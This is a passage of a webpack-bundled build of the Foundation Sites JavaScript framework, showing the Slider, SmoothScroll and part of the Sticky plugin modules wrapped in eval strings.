value: function _events() {\n      this._eventsForHandle(this.$handle);\n      if (this.handles[1]) {\n        this._eventsForHandle(this.$handle2);\n      }\n    }\n\n    /**\n     * Adds event listeners a particular handle\n     * @function\n     * @private\n     * @param {jQuery} $handle - the current handle to apply listeners to.\n     */\n  }, {\n    key: \"_eventsForHandle\",\n    value: function _eventsForHandle($handle) {\n      var _this = this,\n        curHandle;\n      var handleChangeEvent = function handleChangeEvent(e) {\n        var idx = _this.inputs.index(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n        _this._handleEvent(e, _this.handles.eq(idx), jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).val());\n      };\n\n      // IE only triggers the change event when the input loses focus which strictly follows the HTML specification\n      // listen for the enter key and trigger a change\n      // @see https://html.spec.whatwg.org/multipage/input.html#common-input-element-events\n      this.inputs.off('keyup.zf.slider').on('keyup.zf.slider', function (e) {\n        if (e.keyCode === 13) handleChangeEvent.call(this, e);\n      });\n      this.inputs.off('change.zf.slider').on('change.zf.slider', handleChangeEvent);\n      if (this.options.clickSelect) {\n        this.$element.off('click.zf.slider').on('click.zf.slider', function (e) {\n          if (_this.$element.data('dragging')) {\n            return false;\n          }\n          if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).is('[data-slider-handle]')) {\n            if (_this.options.doubleSided) {\n              _this._handleEvent(e);\n            } else {\n              _this._handleEvent(e, _this.$handle);\n            }\n          }\n        });\n      }\n      if (this.options.draggable) {\n        this.handles.addTouch();\n        var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()('body');\n        $handle.off('mousedown.zf.slider').on('mousedown.zf.slider', function (e) {\n          $handle.addClass('is-dragging');\n          _this.$fill.addClass('is-dragging'); //\n          _this.$element.data('dragging', true);\n          curHandle = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.currentTarget);\n          $body.on('mousemove.zf.slider', function (ev) {\n            ev.preventDefault();\n            _this._handleEvent(ev, curHandle);\n          }).on('mouseup.zf.slider', function (ev) {\n            _this._handleEvent(ev, curHandle);\n            $handle.removeClass('is-dragging');\n            _this.$fill.removeClass('is-dragging');\n            _this.$element.data('dragging', false);\n            $body.off('mousemove.zf.slider mouseup.zf.slider');\n          });\n        })\n        // prevent events triggered by touch\n        .on('selectstart.zf.slider touchmove.zf.slider', function (e) {\n          e.preventDefault();\n        });\n      }\n      $handle.off('keydown.zf.slider').on('keydown.zf.slider', function (e) {\n        var _$handle = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n          idx = _this.options.doubleSided ? _this.handles.index(_$handle) : 0,\n          oldValue = parseFloat($handle.attr('aria-valuenow')),\n          newValue;\n\n        // handle keyboard event with keyboard util\n        _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.handleKey(e, 'Slider', {\n          decrease: function decrease() {\n            newValue = oldValue - _this.options.step;\n          },\n          increase: function increase() {\n            newValue = oldValue + _this.options.step;\n          },\n          decreaseFast: function decreaseFast() {\n            newValue = oldValue - _this.options.step * 10;\n          },\n          increaseFast: function increaseFast() {\n            newValue = oldValue + _this.options.step * 10;\n          },\n          min: function min() {\n            newValue = _this.options.start;\n          },\n          max: function max() {\n            newValue = _this.options.end;\n          }
525,\n          handled: function handled() {\n            // only set handle pos when event was handled specially\n            e.preventDefault();\n            _this._setHandlePos(_$handle, newValue);\n          }\n        });\n        /*if (newValue) { // if pressed key has special function, update value\n          e.preventDefault();\n          _this._setHandlePos(_$handle, newValue);\n        }*/\n      });\n    }\n\n    /**\n     * Destroys the slider plugin.\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      this.handles.off('.zf.slider');\n      this.inputs.off('.zf.slider');\n      this.$element.off('.zf.slider');\n      clearTimeout(this.timeout);\n    }\n  }]);\n  return Slider;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__.Plugin);\nSlider.defaults = {\n  /**\n   * Minimum value for the slider scale.\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  start: 0,\n  /**\n   * Maximum value for the slider scale.\n   * @option\n   * @type {number}\n   * @default 100\n   */\n  end: 100,\n  /**\n   * Minimum value change per change event.\n   * @option\n   * @type {number}\n   * @default 1\n   */\n  step: 1,\n  /**\n   * Value at which the handle/input *(left handle/first input)* should be set to on initialization.\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  initialStart: 0,\n  /**\n   * Value at which the right handle/second input should be set to on initialization.\n   * @option\n   * @type {number}\n   * @default 100\n   */\n  initialEnd: 100,\n  /**\n   * Allows the input to be located outside the container and visible. Set to by the JS\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  binding: false,\n  /**\n   * Allows the user to click/tap on the slider bar to select a value.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  clickSelect: true,\n  /**\n   * Set to true and use the `vertical` class to change alignment to vertical.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  vertical: false,\n  /**\n   * Allows the user to drag the slider handle(s) to select a value.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  draggable: true,\n  /**\n   * Disables the slider and prevents event listeners from being applied. Double checked by JS with `disabledClass`.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  disabled: false,\n  /**\n   * Allows the use of two handles. Double checked by the JS. Changes some logic handling.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  doubleSided: false,\n  /**\n   * Potential future feature.\n   */\n  // steps: 100,\n  /**\n   * Number of decimal places the plugin should go to for floating point precision.\n   * @option\n   * @type {number}\n   * @default 2\n   */\n  decimal: 2,\n  /**\n   * Time delay for dragged elements.\n   */\n  // dragDelay: 0,\n  /**\n   * Time, in ms, to animate the movement of a slider handle if user clicks/taps on the bar. Needs to be manually set if updating the transition time in the Sass settings.\n   * @option\n   * @type {number}\n   * @default 200\n   */\n  moveTime: 200,\n  //update this if changing the transition time in the sass\n  /**\n   * Class applied to disabled sliders.\n   * @option\n   * @type {string}\n   * @default 'disabled'\n   */\n  disabledClass: 'disabled',\n  /**\n   * Will invert the default layout for a vertical<span data-tooltip title=\"who would do this???\"> </span>slider.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  invertVertical: false,\n  /**\n   * Milliseconds before the `changed.zf-slider` event is triggered after value change.\n   * @option\n   * @type {number}\n   * @default 500\n   */\n  changedDelay: 500,\n  /**\n  * Basevalue for non-linear sliders\n  * @option\n  * @type {number}\n  * @default 5\n  */\n  nonLinearBase: 5,\n  /**\n  * Basevalue for non-linear sliders, possible values are: `'linear'`, `'pow'` & `'log'`. Pow and Log use the nonLinearBase setting.\n  * @option\n  * @type {string}\n  * @default 'linear'\n  */\n  positionValueFunction: 'linear'\n};\nfunction percent(frac, num) {\n  return frac / num;\n}\nfunction absPosition($handle, dir, clickPos, param) {\n  return Math.abs($handle.position()[dir] + $handle[param]() / 2 - clickPos);\n}\nfunction baseLog(base, value) {\n  return Math.log(value) / Math.log(base);\n}\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.slider.js?")},"./js/foundation.smoothScroll.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   SmoothScroll: function() { return /* binding */ SmoothScroll; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\nfunction _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, "string");
525 return _typeof(key) === "symbol" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== "object" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || "default"); if (_typeof(res) !== "object") return res; throw new TypeError("@@toPrimitive must return a primitive value."); } return (hint === "string" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, "prototype", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } else if (call !== void 0) { throw new TypeError("Derived constructors may only return object or undefined"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n/**\n * SmoothScroll module.\n * @module foundation.smoothScroll\n */\nvar SmoothScroll = /*#__PURE__*/function (_Plugin) {\n  _inherits(SmoothScroll, _Plugin);\n  var _super = _createSuper(SmoothScroll);\n  function SmoothScroll() {\n    _classCallCheck(this, SmoothScroll);\n    return _super.apply(this, arguments);\n  }\n  _createClass(SmoothScroll, [{\n    key: "_setup",\n    value:\n    /**\n     * Creates a new instance of SmoothScroll.\n     * @class\n     * @name SmoothScroll\n     * @fires SmoothScroll#init\n     * @param {Object} element - jQuery object to add the trigger to.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, SmoothScroll.defaults, this.$element.data(), options);\n      this.className = \'SmoothScroll\'; // ie9 back compat\n\n      this._init();\n    }\n\n    /**\n     * Initialize the SmoothScroll plugin\n     * @private\n     */\n  }, {\n    key: "_init",\n    value: function _init() {\n      var id = this.$element[0].id || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__.GetYoDigits)(6, \'smooth-scroll\');\n      this.$element.attr({\n        id: id\n      });\n      this._events();\n    }\n\n    /**\n     * Initializes events for SmoothScroll.\n     * @private\n     */\n  }, {\n    key: "_events",\n    value: function _events() {\n      this._linkClickListener = this._handleLinkClick.bind(this);\n      this.$element.on(\'click.zf.smoothScroll\', this._linkClickListener);\n      this.$element.on(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._linkClickListener);\n    }\n\n    /**\n     * Handle the given event to smoothly scroll to the anch
525or pointed by the event target.\n     * @param {*} e - event\n     * @function\n     * @private\n     */\n  }, {\n    key: "_handleLinkClick",\n    value: function _handleLinkClick(e) {\n      var _this = this;\n      // Follow the link if it does not point to an anchor.\n      if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.currentTarget).is(\'a[href^="#"]\')) return;\n      var arrival = e.currentTarget.getAttribute(\'href\');\n      this._inTransition = true;\n      SmoothScroll.scrollToLoc(arrival, this.options, function () {\n        _this._inTransition = false;\n      });\n      e.preventDefault();\n    }\n  }, {\n    key: "_destroy",\n    value:\n    /**\n     * Destroys the SmoothScroll instance.\n     * @function\n     */\n    function _destroy() {\n      this.$element.off(\'click.zf.smoothScroll\', this._linkClickListener);\n      this.$element.off(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._linkClickListener);\n    }\n  }], [{\n    key: "scrollToLoc",\n    value:\n    /**\n     * Function to scroll to a given location on the page.\n     * @param {String} loc - A properly formatted jQuery id selector. Example: \'#foo\'\n     * @param {Object} options - The options to use.\n     * @param {Function} callback - The callback function.\n     * @static\n     * @function\n     */\n    function scrollToLoc(loc) {\n      var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : SmoothScroll.defaults;\n      var callback = arguments.length > 2 ? arguments[2] : undefined;\n      var $loc = jquery__WEBPACK_IMPORTED_MODULE_0___default()(loc);\n\n      // Do nothing if target does not exist to prevent errors\n      if (!$loc.length) return false;\n      var scrollPos = Math.round($loc.offset().top - options.threshold / 2 - options.offset);\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(\'html, body\').stop(true).animate({\n        scrollTop: scrollPos\n      }, options.animationDuration, options.animationEasing, function () {\n        if (typeof callback === \'function\') {\n          callback();\n        }\n      });\n    }\n  }]);\n  return SmoothScroll;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__.Plugin);\n/**\n * Default settings for plugin.\n */\nSmoothScroll.defaults = {\n  /**\n   * Amount of time, in ms, the animated scrolling should take between locations.\n   * @option\n   * @type {number}\n   * @default 500\n   */\n  animationDuration: 500,\n  /**\n   * Animation style to use when scrolling between locations. Can be `\'swing\'` or `\'linear\'`.\n   * @option\n   * @type {string}\n   * @default \'linear\'\n   * @see {@link https://api.jquery.com/animate|Jquery animate}\n   */\n  animationEasing: \'linear\',\n  /**\n   * Number of pixels to use as a marker for location changes.\n   * @option\n   * @type {number}\n   * @default 50\n   */\n  threshold: 50,\n  /**\n   * Number of pixels to offset the scroll of the page on item click if using a sticky nav bar.\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  offset: 0\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.smoothScroll.js?')},"./js/foundation.sticky.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Sticky: function() { return /* binding */ Sticky; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n/**\n * Sticky module.\n * @module foundation.sticky\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n */\nvar Sticky = /*#__PURE__*/function (_Plugin) {\n  _inherits(Sticky, _Plugin);\n  var _super = _createSuper(Sticky);\n  function Sticky() {\n    _classCallCheck(this, Sticky);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Sticky, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of a sticky thing.\n     * @class\n     * @name Sticky\n     * @param {jQuery} element - jQuery object to make sticky.\n     * @param {Object} options - options object passed when creating the element programmatically.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Sticky.defaults, this.$element.data(), options);\n      this.className = 'Sticky'; // ie9 back compat\n\n      // Triggers init is idempotent, just need to make sure it is initialized\n      _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__.Triggers.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      this._init();\n    }\n\n    /**\n     * Initializes the sticky element by adding classes, getting/setting dimensions, breakpoints and attributes\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__.MediaQuery._init();\n      var $parent = this.$element.parent('[data-sticky-container]'),\n        id = this.$element[0].id || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.GetYoDigits)(6, 'sticky'),\n        _this = this;\n      if ($parent.length) {\n        this.$container = $parent;\n      } else {\n        this.wasWrapped = true;\n        this.$element.wrap(this.options.container);\n        this.$container = this.$element.parent();\n      }\n      this.$container.addClass(this.options.containerClass);\n      this.$element.addClass(this.options.stickyClass).attr({\n        'data-resize': id,\n        'data-mutate': id\n      });\n      if (this.options.anchor !== '') {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()('#' + _this.options.anchor).attr({\n          'data-mutate': id\n        });\n      }\n      this.scrollCount = this.options.checkEvery;\n      this.isStuck = false;\n      this.onLoadListener = (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.onLoad)(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n        //We calculate the container height to have correct values for anchor points offset calculation.\n        _this.containerHeight = _this.$element.css(\"display\") === \"none\" ? 0 : _this.$element[0].getBoundingClientRect().height;\n        _this.$container.css('height', _this.containerHeight);\n        _this.elemHeight = _this.containerHeight;\n        if (_this.options.anchor !== '') {\n          _this.$anchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()('#' + _this.options.anchor);\n        } else {\n          _this._parsePoints();\n        }\n        _this._setSizes(function () {\n          var scroll = window.pageYOffset;\n          _this._calc(false, scroll);\n          //Unstick the element will ensure that proper classes are set.\n          if (!_this.isStuck) {\n            _this._removeSticky(scroll >= _this.topPoint ? false : true);\n          }\n        });\n        _this._events(id.split('-').reverse().join('-'));\n      });\n    }\n\n    /**\n     * If using multiple elements as anchors, calculates the top and bottom pixel values the sticky thing should stick and unstick on.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_parsePoints\",\n    value: function _parsePoints() {\n      var top = this.options.topAnchor === \"\" ? 1 : this.options.topAnchor,\n        btm = this.options.btmAnchor === \"\" ? document.documentElement.scrollHeight : this.options.btmAnchor,\n        pts = [top, btm],\n        breaks = {};\n      for (var i = 0, len = pts.length; i < len && pts[i];
525 i++) {\n        var pt;\n        if (typeof pts[i] === 'number') {\n          pt = pts[i];\n        } else {\n          var place = pts[i].split(':'),\n            anchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(place[0]));\n          pt = anchor.offset().top;\n          if (place[1] && place[1].toLowerCase() === 'bottom') {\n            pt += anchor[0].getBoundingClientRect().height;\n          }\n        }\n        breaks[i] = pt;\n      }\n      this.points = breaks;\n      return;\n    }\n\n    /**\n     * Adds event handlers for the scrolling element.\n     * @private\n     * @param {String} id - pseudo-random id for unique scroll event listener.\n     */\n  }, {\n    key: \"_events\",\n    value: function _events(id) {\n      var _this = this,\n        scrollListener = this.scrollListener = \"scroll.zf.\".concat(id);\n      if (this.isOn) {\n        return;\n      }\n      if (this.canStick) {\n        this.isOn = true;\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(scrollListener).on(scrollListener, function () {\n          if (_this.scrollCount === 0) {\n            _this.scrollCount = _this.options.checkEvery;\n            _this._setSizes(function () {\n              _this._calc(false, window.pageYOffset);\n            });\n          } else {\n            _this.scrollCount--;\n            _this._calc(false, window.pageYOffset);\n          }\n        });\n      }\n      this.$element.off('resizeme.zf.trigger').on('resizeme.zf.trigger', function () {\n        _this._eventsHandler(id);\n      });\n      this.$element.on('mutateme.zf.trigger', function () {\n        _this._eventsHandler(id);\n      });\n      if (this.$anchor) {\n        this.$anchor.on('mutateme.zf.trigger', function () {\n          _this._eventsHandler(id);\n        });\n      }\n    }\n\n    /**\n     * Handler for events.\n     * @private\n     * @param {String} id - pseudo-random id for unique scroll event listener.\n     */\n  }, {\n    key: \"_eventsHandler\",\n    value: function _eventsHandler(id) {\n      var _this = this,\n        scrollListener = this.scrollListener = \"scroll.zf.\".concat(id);\n      _this._setSizes(function () {\n        _this._calc(false);\n        if (_this.canStick) {\n          if (!_this.isOn) {\n            _this._events(id);\n          }\n        } else if (_this.isOn) {\n          _this._pauseListeners(scrollListener);\n        }\n      });\n    }\n\n    /**\n     * Removes event handlers for scroll and change events on anchor.\n     * @fires Sticky#pause\n     * @param {String} scrollListener - unique, namespaced scroll listener attached to `window`\n     */\n  }, {\n    key: \"_pauseListeners\",\n    value: function _pauseListeners(scrollListener) {\n      this.isOn = false;\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(scrollListener);\n\n      /**\n       * Fires when the plugin is paused due to resize event shrinking the view.\n       * @event Sticky#pause\n       * @private\n       */\n      this.$element.trigger('pause.zf.sticky');\n    }\n\n    /**\n     * Called on every `scroll` event and on `_init`\n     * fires functions based on booleans and cached values\n     * @param {Boolean} checkSizes - true if plugin should recalculate sizes and breakpoints.\n     * @param {Number} scroll - current scroll position passed from scroll event cb function. If not passed, defaults to `window.pageYOffset`.\n     */\n  }, {\n    key: \"_calc\",\n    value: function _calc(checkSizes, scroll) {\n      if (checkSizes) {\n        this._setSizes();\n      }\n      if (!this.canStick) {\n        if (this.isStuck) {\n          this._removeSticky(true);\n        }\n        return false;\n      }\n      if (!scroll) {\n        scroll = window.pageYOffset;\n      }\n      if (scroll >= this.topPoint) {\n        if (scroll <= this.bottomPoint) {\n          if (!this.isStuck) {\n            this._setSticky();\n          }\n        } else {\n          if (this.isStuck) {\n            this._removeSticky(false);\n          }\n        }\n      } else {\n        if (this.isStuck) {\n          this._removeSticky(true);\n        }\n      }\n    }\n\n    /**\n     * Causes the $element to become stuck.\n     * Adds `position: fixed;`, and helper classes.\n     * @fires Sticky#stuckto\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_setSticky\",\n    value: function _setSticky() {\n      var _this = this,\n        stickTo 
525= this.options.stickTo,\n        mrgn = stickTo === 'top' ? 'marginTop' : 'marginBottom',\n        notStuckTo = stickTo === 'top' ? 'bottom' : 'top',\n        css = {};\n      css[mrgn] = \"\".concat(this.options[mrgn], \"em\");\n      css[stickTo] = 0;\n      css[notStuckTo] = 'auto';\n      this.isStuck = true;\n      this.$element.removeClass(\"is-anchored is-at-\".concat(notStuckTo)).addClass(\"is-stuck is-at-\".concat(stickTo)).css(css)\n      /**\n       * Fires when the $element has become `position: fixed;`\n       * Namespaced to `top` or `bottom`, e.g. `sticky.zf.stuckto:top`\n       * @event Sticky#stuckto\n       */.trigger(\"sticky.zf.stuckto:\".concat(stickTo));\n      this.$element.on(\"transitionend webkitTransitionEnd oTransitionEnd otransitionend MSTransitionEnd\", function () {\n        _this._setSizes();\n      });\n    }\n\n    /**\n     * Causes the $element to become unstuck.\n     * Removes `position: fixed;`, and helper classes.\n     * Adds other helper classes.\n     * @param {Boolean} isTop - tells the function if the $element should anchor to the top or bottom of its $anchor element.\n     * @fires Sticky#unstuckfrom\n     * @private\n     */\n  }, {\n    key: \"_removeSticky\",\n    value: function _removeSticky(isTop) {\n      var stickTo = this.options.stickTo,\n        stickToTop = stickTo === 'top',\n        css = {},\n        anchorPt = (this.points ? this.points[1] - this.points[0] : this.anchorHeight) - this.elemHeight,\n        mrgn = stickToTop ? 'marginTop' : 'marginBottom',\n        topOrBottom = isTop ? 'top' : 'bottom';\n      css[mrgn] = 0;\n      css.bottom = 'auto';\n      if (isTop) {\n        css.top = 0;\n      } else {\n        css.top = anchorPt;\n      }\n      this.isStuck = false;\n      this.$element.removeClass(\"is-stuck is-at-\".concat(stickTo)).addClass(\"is-anchored is-at-\".concat(topOrBottom)).css(css)\n      /**\n       * Fires when the $element has become anchored.\n       * Namespaced to `top` or `bottom`, e.g. `sticky.zf.unstuckfrom:bottom`\n       * @event Sticky#unstuckfrom\n       */.trigger(\"sticky.zf.unstuckfrom:\".concat(topOrBottom));\n    }\n\n    /**\n     * Sets the $element and $container sizes for plugin.\n     * Calls `_setBreakPoints`.\n     * @param {Function} cb - optional callback function to fire on completion of `_setBreakPoints`.\n     * @private\n     */\n  }, {\n    key: \"_setSizes\",\n    value: function _setSizes(cb) {\n      this.canStick = _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__.MediaQuery.is(this.options.stickyOn);\n      if (!this.canStick) {\n        if (cb && typeof cb === 'function') {\n          cb();\n        }\n      }\n      var newElemWidth = this.$container[0].getBoundingClientRect().width,\n        comp = window.getComputedStyle(this.$container[0]),\n        pdngl = parseInt(comp['padding-left'], 10),\n        pdngr = parseInt(comp['padding-right'], 10);\n      if (this.$anchor && this.$anchor.length) {\n        this.anchorHeight = this.$anchor[0].getBoundingClientRect().height;\n      } else {\n        this._parsePoints();\n      }\n      this.$element.css({\n        'max-width': \"\".concat(newElemWidth - pdngl - pdngr, \"px\")\n      });\n\n      // Recalculate the height only if it is \"dynamic\"\n      if (this.options.dynamicHeight || !this.containerHeight) {\n        // Get the sticked element height and apply it to the container to \"hold the place\"\n        var newContainerHeight = 